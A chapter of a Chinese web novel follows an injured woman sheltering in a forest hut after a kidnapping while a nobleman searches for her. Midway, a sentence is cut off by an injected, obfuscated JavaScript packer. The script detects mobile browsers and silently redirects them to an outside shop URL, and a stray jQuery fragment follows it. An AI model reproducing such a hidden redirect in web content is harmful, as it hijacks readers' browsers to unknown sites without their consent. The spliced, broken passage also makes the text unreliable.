姜甜是被冻醒的。
她睁开眼时天还亮着,不知云薇走了多久,她又昏睡了多久。
她四肢冰冷,反应迟缓的大脑想着这样不行,她躺在此处一定会失温而死。而且不知救援的人何时才会来,她得补充水源和食物,另外找一个有荫蔽的地方躲避野兽。
她试图动了动身子,突然之间一阵阵剧痛像雷一样击中了她,让她一时间痛呼出声,几乎不能分辨痛感来自于哪里。
她喘着粗气原地休息了一会儿,尽量不晃动她的头,把云薇留给她的水和食物都吃了。此后她挪动身体到两名绑匪的尸首旁,从他们身上搜出了几块干饼子和水囊带在身上。
她慢慢坐起后感觉好了些许,摸了摸左脚踝,应该是崴了肿得老高,好在骨头应该没有太大的问题。胸口倒是疼痛异常,即便没有骨折应该也是骨裂,她呼吸都得小心翼翼,否则扯得整个上半身都疼。
天马上就要黑了。她咬咬牙用右腿支起身子缓慢地站起来,扶着周遭的树一步一步缓慢沿着小路往来时的路走。
她走得极慢,走走停停,提心吊胆。不多时林间起了风,吹在身上刀割一样冷。好在今日是个晴天,明月高挂于空中,她借着这一点光,听见寂静无声的野外传来野兽的叫声。
无用的泪水止不住地滑下来。
她走不动了。
她想坐下休息一会儿,但不知坐下以后还有没有力气再站起来。于是她咬咬牙继续往前,皇天不负有心人,竟让她找到一间破败的小木屋。
这间木屋极小极窄,里面没有任何生活用品,看起来像是护林人或是巡卫的哨棚。它年久失修,破破烂烂,顶棚上破了一个大洞,门板摇摇欲坠。然而对姜甜来说已无异于久旱逢甘霖了。
她撑着一口气四处收集了些干草和石块,将干草铺在屋内地上,又用石块堵住门。做完这一切她瘫倒在地上,哪怕腹中饥渴,也再没有一丝力气和勇气出去觅食了。
她抱着这一堆干草,很快疲倦地睡了过去。
-
戌时中,靖安侯府暗卫在盘问周遭村镇居民时打听到有人曾在回乡的路上遇到一名浑身是血的女子。农户结结巴巴地描述说那名女子头上身上俱是血,突然跳出来拦车,把他吓得魂飞魄散,因此没有停车施救。暗卫立即带上他找到那条小路,发现了些许血迹,然而将此路前后搜寻了几遍都没有看见姜甜或是云薇的身影。
此地位于京郊,正是出城的要道,四通八达,岔路极多。他们只能以此为圆心扩大搜查范围。
陆机是在亥时收到姜甜失踪的消息。
看完布条,他立刻求见太子。夜深人静,此举极为无礼,然而他在太子寝居前长跪不起,一盏茶时间后太子梳洗毕接见了他。
太子从未见过陆机这副模样,几乎前言不搭后语,说是六神无主也不为过。
他在心中轻叹一声,挥挥手让他去了,吩咐宫人为他备几匹快马。
陆机谢恩,带上一柄剑、一包干粮和水囊,披星戴月马不停蹄地赶回京城。
-
恍如濒死前的走马灯,姜甜梦到上一世的事情。
她梦见自己还在店里摇奶茶,细瘦的手腕骨节伶仃,接到妈妈病危的消息。她赶去医院的路上麻木地想着:又要被店长扣钱了。
住院、手术、新药,样样都需要钱。
她疲惫得说不出话,给主治医生跪下了。对方为难地来扶她,说知道她是个好孩子,但医院不是慈善机构……
她想要站起来,可是她实在太累了,埋在医生的臂弯里站不起来,连哭都没有声音。
“砰”的一声巨响。
她从梦中惊醒,吓得大叫,黑暗中一个黑影猛地在屋内四处逃窜。
姜甜的双眼适应了片刻才看出来,那是一只像狐狸一般的小动物,体型不大,毛乱蓬蓬的,眼周有黑乎乎的纹路。
它没想到屋内有人,吓得慌不择路,在狭小的空间内打着圈。
姜甜攥着匕首,将门板打开,呵斥道,“出去!出去!”
那可怜的小东西被吓得半死,兜兜转转终于找着缝隙逃了出去。
姜甜看着它可怜的模样,又是气愤又觉得感同身受。她再也受不了,抱着膝盖大哭起来。
-
次日一大早,魏静姝乔装打扮一番将王嬷嬷约出来,状似无意地提到说昨日县主马球会似乎出了岔子,不知是为了何事。城中有人议论说县主府和靖安侯府的护卫在京郊四处搜查,听说是县主丢了重要的东西。可是能有什么重要的东西,需要这般兴师动众?
王嬷嬷对魏府向来知无不言,悄悄给她交了底:乃是陆机钟意的那名姜氏女失踪,县主和侯府在暗自搜寻。
她洋洋得意道,“那女子心高气傲恃宠而骄,老婆子我早就提醒她要低调做事,她偏不信邪。好在恶人自有天收。荒郊野岭的失踪一夜了,哪怕有命在,恐怕也是贞洁不保。”
这下姜甜别想入侯府的门了。王嬷嬷想到那日在沁甜茶坊姜甜那副趾高气昂的模样,只觉大快人心。
魏静姝心跳声巨大,几乎听不清她说的话。
她思索片刻后问道,“那可是表哥心尖上的人……眼下搜了一天了,可有什么线索?”
“听说在临近的镇子上找到了那名婢女,受伤被人收留了。不知姜氏人在何处,是死是活,应该很快也能找着了吧。”
完了。
魏静姝的额角渗出细密的汗水。
她讪笑几声,心神不定地照例塞给王嬷嬷一个荷包,里面是沉甸甸的五两银子。
-
正午时分,陆机不眠不休长途奔袭七个时辰,中途换了四匹马,终于抵达京郊与一众暗卫会合。
昨日云薇晕倒在路边后被一家路过的屠户夫妇捡到收留,还帮她简单收拾了伤口。她半夜醒来后求夫妇二人带她去找当地巡捕,正好遇上侯府暗卫,他们才终于把前因后果串了起来。
得知姜甜身受重伤还在原地等待救援,众人不敢有一刻耽搁,立刻载着云薇去寻。可是夜半林间视物不清,云薇被带离了原先的路线,更加找不到与姜甜分别的位置。
她一直控制不住地流泪,骂自己没用。直到双眼模模糊糊的,她不敢再哭了,闭着嘴仔细为护卫找路。
陆机与平时的模样大相径庭,双目血红,眼下青黑,发丝凌乱。知砚不忍看他如此,却也知劝不动他,为他准备了些提神的茶水。
陆机亲力亲为策马在林间细细搜寻,却听属下来报说魏家长女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712799|203570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有重要线索禀报。
一瞬间陆机便想通了前因后果,竟然还是魏静婉那个毒妇设下的诡计!
陆机翻身下马行至魏静姝马车前,毫不客气地掀开帘子,一剑刺入。
魏静姝惊得小脸惨白,叫都叫不出。
寒芒如雪的剑刃架在她脖子上,削掉了她几绺碎发。
她咽了口口水乞求道,“表哥……我也是刚刚知道二妹犯下弥天大祸……特来呈上绑匪三人的画像,只求尽快找到姜姑娘,我们魏府什么都愿意做,只为了赎罪!”
陆机不愿在她身上浪费一丝一毫的时间,接过画像分给属下,让他们速速去查这几人的来历,可能会去哪里,以此缩小搜查的范围。
他走后魏静姝在马车内惊魂未定地落下眼泪。
活要见人,死要见尸,靖安侯府和安福县主双双出动,哪怕是掘地三尺,找到姜甜不过是时间问题。哪怕真找不到姜甜,以陆机的雷霆手段,难道会查不到罪魁祸首是谁?倒不如她提前自首,还能让陆机看在她并不知情的份上饶过整个魏家。
几名绑匪的身世还没查清,突然间远处天空有人发了信号弹,有重大发现。
陆机一夹马腹疾驰而去,到了放信号弹的地方,周遭围了一圈护卫。其中一人快步上前来回话,“侯爷,发现两具尸体!”
陆机下马的时候眼前一黑,三步并作两步冲进林中,在巨大的心跳声中看到两名绑匪苍白僵直的尸体。
他抬眼看到四处血迹斑斑,远离道路的一侧草木有被压过的痕迹,其中一块大石上布满了干涸的黑紫色血迹。
“侯爷,这里只有两具尸体,不知姜姑娘是不是被第三名歹徒带走了?”
一旁的暗卫连忙纠正,“云薇姑娘说了,第三名歹人被她们吓跑了。姜姑娘一定是觅食或者找水源去了。”
陆机扒开草叶看到深浅不一的脚印和触目惊心的血迹。他沿着断断续续的血点往林中走去,嗓音嘶哑,“她一定在附近。全部散开去找!”
他的躯体和精神都已到达了极限,眼神定定地望着前路,可是脑中不受控制地浮现出方才两名绑匪的模样。
他们俱是身强力壮的成年男子,简直不敢想姜甜落入他们手中会受什么样的折磨……而且其中一人下半身未着寸缕……他恨不得让那畜生再活过来一次,他定要将他碎尸万段!哪怕凌迟都不能解他心头之恨!
他干涩的眼眶中跌出几颗泪水。他在蓊郁的密林中翻找痕迹,无异于大海捞针,忽而有人高喊说前面有一间小木屋。一刹那仿佛有心电感应,陆机飞奔而去,有强烈的预感姜甜就在里面。
其余暗卫守在门口不敢擅动,他们不敢想如今姜甜是死是活,是何模样,纷纷等着陆机去推开这扇门。
陆机行至门前刚刚伸出手,那道门竟然从里面打开了。
从昨夜到现在,昏睡中的姜甜总是因为口渴反复醒来。自从被那貉子吓醒之后,她发现自己发起了高烧。她想着这样下去不行,得趁天光大亮出去找点野果解渴充饥。然而她眼下的身体状况已经完全无法直立,视线模糊,伴随着严重的耳鸣。
她艰难地从干草堆里爬出来拉开门,视野里却一片漆黑。万籁俱寂,她懵懂地抬起头,迎接她的是一片炽热的雨。